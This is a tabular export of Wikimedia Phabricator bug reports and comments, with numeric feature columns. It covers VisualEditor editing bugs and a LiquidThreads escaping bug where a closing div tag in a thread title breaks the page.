https://gerrit.wikimedia.org/r/71353",,,1372704109,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.352941176470588,1.0,"Change 71353 merged by jenkins-bot:
Allow creating lists in block slugs

GERRIT_URL"
219122,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,"Change 71353 had a related patch set uploaded by Jforrester:
(bug 47947) Allow creating lists while selection is collapsed and in block slug

https://gerrit.wikimedia.org/r/71353",,,1372691992,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.517241379310345,1.0,"Change 71353 had a related patch set uploaded by Jforrester:
(bug 47947) Allow creating lists while selection is collapsed and in block slug

GERRIT_URL"
219115,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,"Change 71353 had a related patch set uploaded by Inez:
(bug 47947) Allow creating lists while selection is collapsed and in block slug

https://gerrit.wikimedia.org/r/71353",,,1372689599,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.310344827586207,1.0,"Change 71353 had a related patch set uploaded by Inez:
(bug 47947) Allow creating lists while selection is collapsed and in block slug

GERRIT_URL"
219110,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,*** Bug 50242 has been marked as a duplicate of this bug. ***,,,1372271165,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50242 has been marked as a duplicate of this bug. ***
219103,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,Make it work is better. :-),,,1367545095,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.142857142857143,1.0,Make it work is better. :-)
49943,VisualEditor: heading removal adds ♙,"The user was trying to edit http://de.wikipedia.org/w/index.php?title=Reiniger,_Gebbert_%26_Schall&direction=prev&oldid=117917379 to remove the first heading but keep the image. The result was http://de.wikipedia.org/w/index.php?title=Reiniger,_Gebbert_%26_Schall&direction=next&oldid=103767568 and the didn't manage to do it without adding the ♙.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1367427120,1368548559.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_description,resolved,True,c1,1,True,False,True,-9,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.7115384615384617,0.6538461538461539,"The user was trying to edit URL to remove the first heading but keep the image. The result was URL and the didn't manage to do it without adding the ♙.

--------------------------
**Version**: unspecified
**Severity**: normal"
218780,VisualEditor: heading removal adds ♙,I think our changes related to pawns also has fixed this bug; marking as closed.,,,1368548559,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.8823529411764706,1.0,I think our changes related to pawns also has fixed this bug; marking as closed.
218774,VisualEditor: heading removal adds ♙,"Sorry, yes. It's Firefox (20.0.1, Windows 7).

Steps to reproduce according to user:
* open http://de.wikipedia.org/w/index.php?title=Reiniger,_Gebbert_%26_Schall&oldid=103767568
* edit with VisualEditor
* select first heading ""Aufbau und Expansion des Unternehmens""
* remove using del-key
* ♙ appears",,,1368536309,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,6.0,19.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,3.5,0.7777777777777778,"Sorry, yes. It's Firefox (20.0.1, Windows 7).

Steps to reproduce according to user:
* open URL
* edit with VisualEditor
* select first heading ""Aufbau und Expansion des Unternehmens""
* remove using del-key
* ♙ appears"
218768,VisualEditor: heading removal adds ♙,Lydia: Any response on that?,,,1368216819,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,False,,,-8,,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Lydia: Any response on that?
218762,VisualEditor: heading removal adds ♙,I asked at http://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/Alpha2013-04#Absatzmarker_.28.E2.99.99.29,,,1367511693,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,I asked at URL
218757,VisualEditor: heading removal adds ♙,I think it might be the FF specific bug for which we already have fix (but it is not released yet).,,,1367434380,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2916666666666665,0.9583333333333334,I think it might be the FF specific bug for which we already have fix (but it is not released yet).
218754,VisualEditor: heading removal adds ♙,Could you provide steps to reproduce (I tried and I can't) and information about browser/OS?,,,1367430685,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,14.0,10.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9047619047619048,Could you provide steps to reproduce (I tried and I can't) and information about browser/OS?
49907,VisualEditor: Support <div> blocks,"This just means supporting their use, not being able to set their parameters, but will de-alienate a large amount of content for trivial work at our end. The parameter setting/editing will need to come later.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1367371680,1367372802.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-erliezrdqnohfykefn5r,task_description,resolved,True,c1,1,True,False,True,-9,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.016393442622951,0.7704918032786885,"This just means supporting their use, not being able to set their parameters, but will de-alienate a large amount of content for trivial work at our end. The parameter setting/editing will need to come later.

--------------------------
**Version**: unspecified
**Severity**: minor"
216564,VisualEditor: Support <div> blocks,Merged; will go out with wmf4.,,,1367372802,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-erliezrdqnohfykefn5r,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged; will go out with wmf4.
216559,VisualEditor: Support <div> blocks,"(In reply to comment #1)
> Feel free to assign it to me.

Too late, already written the code. :-)",,,1367372023,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-erliezrdqnohfykefn5r,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.05,1.0,"(In reply to comment #1)
QUOTE

Too late, already written the code. :-)"
216553,VisualEditor: Support <div> blocks,Related URL: https://gerrit.wikimedia.org/r/61737 (Gerrit Change I794927a881082e0113c0ce8ee8f1d908b0960899),,,1367371959,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-erliezrdqnohfykefn5r,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I794927a881082e0113c0ce8ee8f1d908b0960899)
216548,VisualEditor: Support <div> blocks,Feel free to assign it to me.,,,1367371782,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-erliezrdqnohfykefn5r,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.875,0.875,Feel free to assign it to me.
49885,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","Screenshot of LQT thread with </div> in title

Should be treated the same as regular page titles: Escape everything.


Or, if we want to keep wikitext parsing (e.g. for wikilinks, sometimes done in section headings), then parse as inline block (not allowing any block level elements like <div> or <table>) and make sure open/close tags match (run Tidy).

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://www.mediawiki.org/wiki/Thread:Project:Support_desk/visible_html_on_pages%3A
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=31244
https://bugzilla.wikimedia.org/show_bug.cgi?id=29564

**Attached**: {F10533}",High,80.0,1367340180,1644958499.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_description,invalid,True,c1,1,True,False,False,-9,,0.5,0.5,0.0,0.5,0.5,5.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,5.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,11.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.5,5.0,4.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.3203125,0.671875,"Screenshot of LQT thread with </div> in title

Should be treated the same as regular page titles: Escape everything.


Or, if we want to keep wikitext parsing (e.g. for wikilinks, sometimes done in section headings), then parse as inline block (not allowing any block level elements like <div> or <table>) and make sure open/close tags match (run Tidy).

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL
**See Also**:
URL
URL

**Attached**: {F10533}"
1865095,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true",[We don't use Tidy anymore](https://www.mediawiki.org/wiki/Parsing/Replacing_Tidy) since 2016,,,1644958499,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,True,,,450,,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,11.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,1.0,[We don't use Tidy anymore](URL since 2016
1248457,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","Suggest decline this task, such problem are mostly from PHP which is a bit more #upstream ed",,,1553220752,,PHID-USER-chrmcih5qjpx5buo7vx6,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,False,,,298,,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,4.0,1.0,"Suggest decline this task, such problem are mostly from PHP which is a bit more #upstream ed"
1248456,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","Suggest decline this task, such problem are mostly from PHP which is a bit more #upstream-ed",,,1553220744,,PHID-USER-chrmcih5qjpx5buo7vx6,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,False,,,298,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,3.85,1.0,"Suggest decline this task, such problem are mostly from PHP which is a bit more #upstream-ed"
706290,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","LiquidThreads has been replaced by #Flow on all Wikimedia production wikis (except one, which will be done soon). It is no longer under active development or maintenance, so I'm re-classifying all open LQT tasks as ""Lowest"" priority.",,,1470353645,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,True,,,161,,4.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,4.0,2.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,14.0,4.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,4.020408163265306,0.9183673469387755,"LiquidThreads has been replaced by #Flow on all Wikimedia production wikis (except one, which will be done soon). It is no longer under active development or maintenance, so I'm re-classifying all open LQT tasks as ""Lowest"" priority."
215432,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","A similar problem in a topic named ""Handling <pre><ref></pre> with trailing slash does not work correctly"":
https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Handling_ref_with_trailing_slash_does_not_work_correctly",,,1413467796,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,False,,,67,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,13.0,4.173913043478261,0.9565217391304348,"A similar problem in a topic named ""Handling <pre><ref></pre> with trailing slash does not work correctly"":
URL"
215426,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true",This is one of the many places with poor or inconsistent escaping in LQT.,,,1377841711,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,True,,,8,,7.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,This is one of the many places with poor or inconsistent escaping in LQT.
215420,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","(In reply to comment #1)
> @Krenair: You change the summary to include ""with wgUseTidy = true;"" Are you
> saying that when Tidy is disabled this bug does not happen?


